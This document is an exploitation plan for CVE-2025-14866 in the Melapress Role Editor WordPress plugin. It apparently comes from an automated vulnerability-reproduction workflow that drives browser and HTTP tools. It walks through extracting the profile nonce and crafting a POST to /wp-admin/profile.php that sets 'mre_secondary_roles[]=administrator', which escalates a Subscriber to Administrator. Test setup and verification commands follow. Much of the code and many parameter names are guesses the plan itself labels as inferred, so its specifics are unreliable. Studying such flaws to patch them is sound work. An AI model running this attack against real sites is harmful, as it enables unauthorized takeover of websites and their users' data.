Melapress Role Editor <= 1.1.1 - Improper Authorization to Authenticated (Subscriber+) Privilege Escalation via Secondary Role Assignment

This research plan outlines the steps required to analyze and exploit CVE-2025-14866, a privilege escalation vulnerability in the Melapress Role Editor plugin.

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1. Vulnerability Summary

The Melapress Role Editor plugin (<= 1.1.1) is vulnerable to privilege escalation because it fails to properly restrict which roles a user can assign as "secondary roles" during a profile update. The function save_secondary_roles_field (inferred name from vulnerability description) is likely hooked to profile_update or personal_options_update. While it may contain a capability check like current_user_can( 'edit_user', $user_id ), this check passes when a Subscriber edits their own profile. The logic fails to verify if the user has the promote_users capability or if the roles being assigned exceed the user's current authority, allowing a Subscriber to assign themselves the administrator role as a secondary role.

2. Attack Vector Analysis

• Endpoint: /wp-admin/profile.php
• Action: POST request to update the user profile.
• Vulnerable Hook: Likely personal_options_update and edit_user_profile_update.
• Payload Parameter: Inferred as mre_secondary_roles[] or melapress_role_editor_secondary_roles[].
• Authentication: Authenticated (Subscriber or higher).
• Precondition: The plugin must be active. The attacker needs a valid login for a Subscriber account.

3. Code Flow (Inferred)

1. Entry Point: The user submits the profile update form at /wp-admin/profile.php.
2. Hook Trigger: WordPress triggers the personal_options_update hook for the current user.
3. Plugin Callback: Melapress Role Editor's callback (e.g., Melapress\RoleEditor\Admin\User_Profile::save_secondary_roles_field) is executed.
4. Inadequate Check:

   // Potential Vulnerable Logic
   public function save_secondary_roles_field( $user_id ) {
       if ( ! current_user_can( 'edit_user', $user_id ) ) {
           return;
       }
       if ( isset( $_POST['mre_secondary_roles'] ) ) {
           $roles = (array) $_POST['mre_secondary_roles'];
           // VULNERABILITY: No check if the current user is allowed 
           // to assign these specific roles (like 'administrator').
           update_user_meta( $user_id, '_mre_secondary_roles', $roles );
       }
   }
   

5. Sink: update_user_meta or the plugin's internal role management logic persists the high-privilege secondary role to the database.

4. Nonce Acquisition Strategy

The profile update form in WordPress is protected by the standard core nonce.

1. Login: Use the http_request tool to log in as a Subscriber.
2. Navigate: Navigate to /wp-admin/profile.php using browser_navigate.
3. Extract Nonce: Use browser_eval to extract the _wpnonce from the form.
   • browser_eval("document.querySelector('#_wpnonce').value")
4. Identify Field Name: Use browser_eval to inspect the HTML and find the exact name of the secondary roles input field. Look for checkboxes or a multi-select field related to "Secondary Roles".
   • Search pattern: document.querySelectorAll('input[name*="role"]') or document.querySelectorAll('select[name*="role"]').

5. Exploitation Strategy

1. Identify Target User ID: The attacker targets their own ID (usually available in the URL of profile.php).
2. Identify the Role Parameter: Based on the UI inspection, determine if the plugin uses a specific parameter name. We will assume mre_secondary_roles[] for this plan.
3. Craft the Request: Send a POST request to /wp-admin/profile.php mimicking a profile update.
   • URL: https://<target>/wp-admin/profile.php
   • Method: POST
   • Headers: Content-Type: application/x-www-form-urlencoded
   • Body Parameters:
     • _wpnonce: [Extracted Nonce]
     • _wp_http_referer: /wp-admin/profile.php
     • from: profile
     • checkuser_id: [User ID]
     • user_id: [User ID]
     • mre_secondary_roles[]: administrator
     • submit: Update Profile (or equivalent)
     • Note: Include other mandatory profile fields (nickname, email) to ensure the request is processed by core.

6. Test Data Setup

1. Plugin Installation: Install Melapress Role Editor v1.1.1.
2. User Creation:
   • wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
3. Environment Check: Ensure the plugin settings allow secondary roles (usually enabled by default upon installation).

7. Expected Results

• The HTTP response should be a 302 Redirect back to profile.php?updated=1.
• The attacker user, previously a Subscriber, should now possess the capabilities of an Administrator via the secondary role assignment.

8. Verification Steps

1. Database Check (WP-CLI):
   • wp user get attacker --fields=roles
   • Check user meta for secondary roles: wp user meta get attacker _mre_secondary_roles (or the specific meta key used by the plugin).
2. Functional Check:
   • Use the attacker session to attempt an administrator-only action, such as listing all users: wp user list.
   • Navigate to /wp-admin/plugins.php in the browser session to see if the menu is now accessible.

9. Alternative Approaches

• AJAX Endpoint: Check if the plugin registers a wp_ajax_ action for saving roles that might bypass the standard profile page entirely. Search for wp_ajax_ in the plugin code.
• Parameter Variation: If mre_secondary_roles[] fails, try different naming conventions found in the source: melapress_role_editor_secondary_roles, secondary_roles, or mre_roles.
• Profile Update via user-edit.php: If profile.php is restricted, try targeting another user's profile if the capability check is even weaker (though the CVE suggests Escalation, which usually implies self-escalation).